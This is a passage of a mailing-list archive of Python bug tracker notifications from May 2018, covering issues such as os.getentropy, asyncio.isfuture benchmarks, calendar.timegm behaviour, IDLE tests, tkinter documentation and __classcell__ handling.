(Christian Heimes) Date: Sat, 19 May 2018 16:26:42 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526747202.28.0.682650639539.issue33528@psf.upfronthosting.co.za> Christian Heimes added the comment: I'm -1 on this feature. It's both confusing and unnecessary to have this feature in the standard library. In general we prefer portable functions or expose platform-specific functions for unique features. The getentropy function is neither portable nor more useful than the high-level wrapper os.urandom(). If you truly require to access the raw function, then you can easily access the libc function with a simple C-types wrapper: >>> from ctypes import cdll, create_string_buffer >>> libc = cdll.LoadLibrary("libc.so.6") >>> buf = create_string_buffer(8) >>> buf.raw b'\x00\x00\x00\x00\x00\x00\x00\x00' >>> libc.getentropy(buf, len(buf)) 0 >>> buf.raw b'\xd9\x83`\x8a\x89\xc7\x9eX' ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 12:42:38 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 19 May 2018 16:42:38 +0000 Subject: [issue28240] Enhance the timeit module: display average +- std dev instead of minimum In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za> Message-ID: <1526748158.34.0.682650639539.issue28240@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Wait, I didn't notice the change to the format of raw timings. It looks as a regression to me. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 13:31:43 2018 From: report at bugs.python.org (Jimmy Lai) Date: Sat, 19 May 2018 17:31:43 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526751103.21.0.682650639539.issue33521@psf.upfronthosting.co.za> Jimmy Lai added the comment: @vstinner Thanks for the new benchmark, it provides more detailed wins: It's 1.64x faster for future object and 1.23x faster for non-future object. $ ./python.exe -m perf compare_to isfuture_original_2.json isfuture_optimized_2.json future: Mean +- std dev: [isfuture_original_2] 224 ns +- 8 ns -> [isfuture_optimized_2] 135 ns +- 2 ns: 1.66x faster (-40%) task: Mean +- std dev: [isfuture_original_2] 224 ns +- 6 ns -> [isfuture_optimized_2] 137 ns +- 3 ns: 1.64x faster (-39%) regular_func: Mean +- std dev: [isfuture_original_2] 443 ns +- 5 ns -> [isfuture_optimized_2] 361 ns +- 5 ns: 1.23x faster (-18%) str: Mean +- std dev: [isfuture_original_2] 449 ns +- 15 ns -> [isfuture_optimized_2] 360 ns +- 12 ns: 1.25x faster (-20%) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 13:58:35 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Sat, 19 May 2018 17:58:35 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526752715.21.0.682650639539.issue33521@psf.upfronthosting.co.za> Antoine Pitrou added the comment: What is the impact on a regular application? The fact that a micro-benchmark becomes X% faster isn't very interesting itself, especially as the original function, at less than 1?s per call, is already very fast. ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 14:16:08 2018 From: report at bugs.python.org (Jimmy Lai) Date: Sat, 19 May 2018 18:16:08 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526753768.12.0.682650639539.issue33521@psf.upfronthosting.co.za> Jimmy Lai added the comment: @pitrou This change is part of optimization for asyncio.gather(). gather -> ensure_future -> isfuture/iscoroutine/isawaitable We need C implementation for all those function to make gather really efficient for large scale application (e.g. Instagram) Gather is really slow and cost ~2% CPU on our server. The same optimization approach has been apply on other ciritcal asyncio modules, e.g. Future, get_event_loop, etc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 14:17:38 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Sat, 19 May 2018 18:17:38 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526753858.37.0.682650639539.issue33521@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Then it would be nice to post benchmarks using asyncio.gather() (on something not too trivial perhaps). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 14:39:32 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 19 May 2018 18:39:32 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime In-Reply-To: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> Message-ID: <1526755172.37.0.682650639539.issue33579@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +belopolsky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 14:51:16 2018 From: report at bugs.python.org (Tim Peters) Date: Sat, 19 May 2018 18:51:16 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime In-Reply-To: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> Message-ID: <1526755876.76.0.682650639539.issue33579@psf.upfronthosting.co.za> Tim Peters added the comment: They both look wrong to me. Under 3.6.5 on Win10, `one` and `three` are the same. Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 17:00:18) [MSC v.1900 64 bit (AMD64)] on win32 time.struct_time(tm_year=2009, tm_mon=2, tm_mday=13, tm_hour=23, tm_min=31, tm_sec=39, tm_wday=4, tm_yday=44, tm_isdst=0) And that matches what `datetime` computes: >>> from datetime import * >>> datetime(1970, 1, 1) + timedelta(seconds=1234567899) datetime.datetime(2009, 2, 13, 23, 31, 39) ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 15:34:14 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 19 May 2018 19:34:14 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1526758454.29.0.682650639539.issue32831@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 654038d896d78a8373b60184f335acd516215acd by Terry Jan Reedy (Cheryl Sabella) in branch 'master': bpo-32831: IDLE: Add docstrings and tests for codecontext (GH-5638) https://github.com/python/cpython/commit/654038d896d78a8373b60184f335acd516215acd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 15:34:39 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 19 May 2018 19:34:39 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1526758479.56.0.682650639539.issue32831@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6640 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 15:35:14 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 19 May 2018 19:35:14 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1526758514.24.0.682650639539.issue32831@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6641 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 15:55:27 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 19 May 2018 19:55:27 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1526759727.71.0.682650639539.issue33479@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- keywords: +patch pull_requests: +6642 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 16:13:09 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Sat, 19 May 2018 20:13:09 +0000 Subject: [issue33580] Make binary/text file glossary entries follow most common "see also" style Message-ID: <1526760789.23.0.682650639539.issue33580@psf.upfronthosting.co.za> New submission from Andr?s Delfino : While most entries don't show "see also" as a separate block, binary/text file entries do. I'm proposing to change this. ---------- assignee: docs at python components: Documentation messages: 317135 nosy: adelfino, docs at python priority: normal severity: normal status: open title: Make binary/text file glossary entries follow most common "see also" style versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 16:13:38 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Sat, 19 May 2018 20:13:38 +0000 Subject: [issue33580] Make binary/text file glossary entries follow most common "see also" style In-Reply-To: <1526760789.23.0.682650639539.issue33580@psf.upfronthosting.co.za> Message-ID: <1526760818.49.0.682650639539.issue33580@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6643 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 16:17:22 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 19 May 2018 20:17:22 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1526761042.72.0.682650639539.issue32831@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 83aedc4d9ae36fb7bc05fd8b2caec55697b3efd2 by Miss Islington (bot) in branch '3.6': bpo-32831: IDLE: Add docstrings and tests for codecontext (GH-5638) https://github.com/python/cpython/commit/83aedc4d9ae36fb7bc05fd8b2caec55697b3efd2 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 16:28:05 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 19 May 2018 20:28:05 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1526761685.73.0.682650639539.issue32831@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 0efa1353b756bd61d4e852ff4ef146735bef5522 by Miss Islington (bot) in branch '3.7': bpo-32831: IDLE: Add docstrings and tests for codecontext (GH-5638) https://github.com/python/cpython/commit/0efa1353b756bd61d4e852ff4ef146735bef5522 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 17:41:39 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Sat, 19 May 2018 21:41:39 +0000 Subject: [issue18099] wsgiref sets Content-Length: 0 on 304 Not Modified In-Reply-To: <1369910008.93.0.397797975418.issue18099@psf.upfronthosting.co.za> Message-ID: <1526766099.07.0.682650639539.issue18099@psf.upfronthosting.co.za> Cheryl Sabella added the comment: @flox declared this as 'good to merge' in 2014, but I don't believe the merge happened. Should a PR be created for this patch? Thanks! ---------- nosy: +cheryl.sabella _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 17:48:16 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Sat, 19 May 2018 21:48:16 +0000 Subject: [issue2504] Add gettext.pgettext() and variants support In-Reply-To: <1206756624.13.0.664664048525.issue2504@psf.upfronthosting.co.za> Message-ID: <1526766496.56.0.682650639539.issue2504@psf.upfronthosting.co.za> Cheryl Sabella added the comment: ?ric, Was your last comment intended as a todo for yourself or an outline of the steps needed for someone else to move this along (maybe it was a reply to Jonathan Schoonhoven's question)? If the latter, I'd be happy to try to work on the PR. Thanks! ---------- nosy: +cheryl.sabella _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 18:00:07 2018 From: report at bugs.python.org (Antony Lee) Date: Sat, 19 May 2018 22:00:07 +0000 Subject: [issue33581] Document "optional components that are commonly included in Python distributions." Message-ID: <1526767207.27.0.682650639539.issue33581@psf.upfronthosting.co.za> New submission from Antony Lee : The stdlib docs intro include the following sentences: It also describes some of the optional components that are commonly included in Python distributions. For Unix-like operating systems Python is normally provided as a collection of packages, so it may be necessary to use the packaging tools provided with the operating system to obtain some or all of the optional components. However, as far as I can tell, there is no easy way to actually know what parts of the stdlib are "optional". The _thread module's doc does state "The module is optional.", and the threading module's doc also implies that it is optional ("The dummy_threading module is provided for situations where threading cannot be used because _thread is missing.") (yes, I know support for threadless builds is going away in 3.7; that's irrelevant here.), but even ensurepip's docs don't state that it may be missing (even though I believe(?) that it is indeed removed (and intended to be so) from some linux distribution's Pythons). A master list of "optional" features would thus be welcome. Its usefulness is to know what parts of the stdlib we can actually rely on; e.g. in https://github.com/matplotlib/matplotlib/issues/10866 a Matplotlib user noted that bz2 is not present in all Python installs. ---------- assignee: docs at python components: Documentation messages: 317140 nosy: Antony.Lee, docs at python priority: normal severity: normal status: open title: Document "optional components that are commonly included in Python distributions." _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 18:18:20 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sat, 19 May 2018 22:18:20 +0000 Subject: [issue17972] inspect module docs omits many functions In-Reply-To: <1368501068.91.0.677640111487.issue17972@psf.upfronthosting.co.za> Message-ID: <1526768300.63.0.682650639539.issue17972@psf.upfronthosting.co.za> Matthias Bussonnier added the comment: Just came across the same issue. It think that the exact behavior may depend on functions. IT is also unclear when to use what sometime. For example, `getsource` seem to be preferable to findsource, getsource cannot be use to get the source of wrapping function as it follows `__wrapped__`. ---------- nosy: +mbussonn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 18:31:14 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sat, 19 May 2018 22:31:14 +0000 Subject: [issue17972] inspect module docs omits many functions In-Reply-To: <1368501068.91.0.677640111487.issue17972@psf.upfronthosting.co.za> Message-ID: <1526769074.77.0.682650639539.issue17972@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6644 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 18:31:14 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sat, 19 May 2018 22:31:14 +0000 Subject: [issue1792] o(n*n) marshal.dumps performance for largish objects with patch In-Reply-To: <1200061286.09.0.117532205028.issue1792@psf.upfronthosting.co.za> Message-ID: <1526769074.9.0.0935424498089.issue1792@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- pull_requests: +6645 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 18:55:49 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sat, 19 May 2018 22:55:49 +0000 Subject: [issue33582] formatargspec deprecated but does nto emit DeprecationWarning. Message-ID: <1526770549.95.0.682650639539.issue33582@psf.upfronthosting.co.za> New submission from Matthias Bussonnier : Documentation says formatargspec is deprecated since 3.5, but no DeprecationWarnings are emitted, the docstring also does not mention this fact. ---------- assignee: docs at python components: Documentation messages: 317142 nosy: docs at python, mbussonn priority: normal severity: normal status: open title: formatargspec deprecated but does nto emit DeprecationWarning. versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 19:00:05 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sat, 19 May 2018 23:00:05 +0000 Subject: [issue33582] formatargspec deprecated but does nto emit DeprecationWarning. In-Reply-To: <1526770549.95.0.682650639539.issue33582@psf.upfronthosting.co.za> Message-ID: <1526770805.07.0.682650639539.issue33582@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6646 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 19:40:57 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 19 May 2018 23:40:57 +0000 Subject: [issue33576] Make exception wrapping less intrusive for __set_name__ calls In-Reply-To: <1526708479.7.0.682650639539.issue33576@psf.upfronthosting.co.za> Message-ID: <1526773257.81.0.682650639539.issue33576@psf.upfronthosting.co.za> Nick Coghlan added the comment: Yeah, the "transparent exception chaining" code falls into the category of code that I'm both proud of (since it works really well in typical cases [1]) and somewhat horrified by (since the *way* it works tramples over several principles of good object oriented design and is completely non-portable to other Python implementations). Anyway, I've adjusted the issue title here to indicate that we don't want to remove the exception wrapping entirely, just make it less intrusive. [1] See the hex encoding and bz2 decoding failure examples in https://docs.python.org/3/whatsnew/3.4.html#codec-handling-improvements ---------- title: Remove exception wrapping from __set_name__ calls -> Make exception wrapping less intrusive for __set_name__ calls _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 20:12:44 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 20 May 2018 00:12:44 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1526775164.11.0.682650639539.issue32831@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 20:13:09 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 20 May 2018 00:13:09 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1526775189.8.0.682650639539.issue32831@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Thanks for the good set of tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 20:13:24 2018 From: report at bugs.python.org (Martin Panter) Date: Sun, 20 May 2018 00:13:24 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime In-Reply-To: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> Message-ID: <1526775204.37.0.682650639539.issue33579@psf.upfronthosting.co.za> Martin Panter added the comment: According to Wikipedia, there were 24 leap seconds before Feb 2009. So my guess is Eitan?s ?gmtime? implementation is calculating the date as if the timestamp (1234567899) includes leap seconds, as in . But according to Posix, the calculation should be for exactly 86400 timestamp seconds per day, and it should not adjust for leap seconds. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 20:32:02 2018 From: report at bugs.python.org (Jimmy Lai) Date: Sun, 20 May 2018 00:32:02 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526776322.56.0.682650639539.issue33521@psf.upfronthosting.co.za> Jimmy Lai added the comment: @pitrou We'll measure the wins of gather when we implement it in C. Before that, we need to get all helpers ready in C. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 21:05:19 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 20 May 2018 01:05:19 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526778319.98.0.682650639539.issue30928@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- pull_requests: +6647 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 21:38:49 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 20 May 2018 01:38:49 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526780329.7.0.682650639539.issue30928@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 6b0d09b8f06e6967fa3d41425cecf6499a353a6d by Terry Jan Reedy in branch 'master': bpo-30928: Update idlelib/NEWS.txt. (#6995) https://github.com/python/cpython/commit/6b0d09b8f06e6967fa3d41425cecf6499a353a6d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 21:40:01 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 01:40:01 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526780401.29.0.682650639539.issue30928@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6648 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 22:01:28 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 20 May 2018 02:01:28 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526781688.7.0.682650639539.issue30928@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 222ae1eccc819d82fcadbb3c9e1fba83339cc5c6 by Terry Jan Reedy (Miss Islington (bot)) in branch '3.7': bpo-30928: Update idlelib/NEWS.txt. (GH-6995) (#6996) https://github.com/python/cpython/commit/222ae1eccc819d82fcadbb3c9e1fba83339cc5c6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 22:06:28 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 20 May 2018 02:06:28 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526781988.76.0.682650639539.issue30928@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- pull_requests: +6649 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 22:18:34 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Sun, 20 May 2018 02:18:34 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1526782714.22.0.682650639539.issue33479@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: I'm currently rewriting the docs, too, according to the plan @ #msg316492. WIP @ https://github.com/native-api/cpython/tree/tkinter_docs . You PR lines up fine though is made redundant by https://github.com/native-api/cpython/commit/79b195a9028fd7bf6e8186dfced0fad6a41e87fa -- instead of removing Doc\library\tk.rst, I reduced it to a summary of chapter content without any claims about it whatsoever, like other chapter head pages. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 22:59:36 2018 From: report at bugs.python.org (Andrey Bychkov) Date: Sun, 20 May 2018 02:59:36 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526785176.76.0.682650639539.issue28167@psf.upfronthosting.co.za> Change by Andrey Bychkov : ---------- pull_requests: +6650 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 23:15:10 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sun, 20 May 2018 03:15:10 +0000 Subject: [issue32996] Improve What's New in 3.7 In-Reply-To: <1520251006.69.0.467229070634.issue32996@psf.upfronthosting.co.za> Message-ID: <1526786110.09.0.682650639539.issue32996@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 63536bd286097e770909052052a21804a5e09b66 by Yury Selivanov (Elvis Pranskevichus) in branch 'master': bpo-32996: The bulk of What's New in Python 3.7 (GH-6978) https://github.com/python/cpython/commit/63536bd286097e770909052052a21804a5e09b66 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 23:34:07 2018 From: report at bugs.python.org (Elvis Pranskevichus) Date: Sun, 20 May 2018 03:34:07 +0000 Subject: [issue32996] Improve What's New in 3.7 In-Reply-To: <1520251006.69.0.467229070634.issue32996@psf.upfronthosting.co.za> Message-ID: <1526787247.62.0.682650639539.issue32996@psf.upfronthosting.co.za> Change by Elvis Pranskevichus : ---------- pull_requests: +6651 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 23:39:47 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sun, 20 May 2018 03:39:47 +0000 Subject: [issue32996] Improve What's New in 3.7 In-Reply-To: <1520251006.69.0.467229070634.issue32996@psf.upfronthosting.co.za> Message-ID: <1526787587.85.0.682650639539.issue32996@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 15f3d0cc7660ee62c7a1c0420afaee18c26a2a1f by Yury Selivanov (Elvis Pranskevichus) in branch '3.7': [3.7] bpo-32996: The bulk of What's New in Python 3.7 (GH-6978). (GH-6998) https://github.com/python/cpython/commit/15f3d0cc7660ee62c7a1c0420afaee18c26a2a1f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 23:50:23 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 20 May 2018 03:50:23 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526788223.68.0.682650639539.issue30928@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 09a5c077bd8d444e9701b4d1314160b8904434e0 by Terry Jan Reedy in branch '3.6': [3.6] bpo-30928: Update idlelib/NEWS.txt. (GH-6995) (GH-6997) https://github.com/python/cpython/commit/09a5c077bd8d444e9701b4d1314160b8904434e0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 00:41:00 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sun, 20 May 2018 04:41:00 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526791260.52.0.682650639539.issue23722@psf.upfronthosting.co.za> Nick Coghlan added the comment: I think the reference to RuntimeWarning in the docs is a typo (if it was only going to be a warning, it could have been that from the start), and that reference to RuntimeError in the code comment is correct. So there's also a docs fix to make in 3.6 and 3.7 to provide the right info about future changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 01:01:45 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 05:01:45 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526792505.01.0.682650639539.issue23722@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6652 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 01:13:54 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 05:13:54 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526793234.59.0.682650639539.issue23722@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 8ae8e6af37f29163ee263e293570cb892dc5b5d5 by Serhiy Storchaka in branch 'master': bpo-23722: Fix docs for future __classcell__ changes. (GH-6999) https://github.com/python/cpython/commit/8ae8e6af37f29163ee263e293570cb892dc5b5d5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 01:15:04 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 05:15:04 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526793304.11.0.682650639539.issue23722@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6653 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 01:16:01 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 05:16:01 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526793361.83.0.682650639539.issue23722@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6654 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 01:47:08 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 05:47:08 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526795228.29.0.682650639539.issue23722@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 10a122c0d55b01b053126ef3fd4d9e05ab8f2372 by Miss Islington (bot) in branch '3.6': bpo-23722: Fix docs for future __classcell__ changes. (GH-6999) https://github.com/python/cpython/commit/10a122c0d55b01b053126ef3fd4d9e05ab8f2372 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 01:48:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 05:48:14 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526795294.3.0.682650639539.issue23722@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset f5e7b1999f46e592d42dfab51563ea5411946fb7 by Serhiy Storchaka in branch 'master': bpo-23722: Raise a RuntimeError for absent __classcell__. (GH-6931) https://github.com/python/cpython/commit/f5e7b1999f46e592d42dfab51563ea5411946fb7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 01:49:16 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 05:49:16 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: 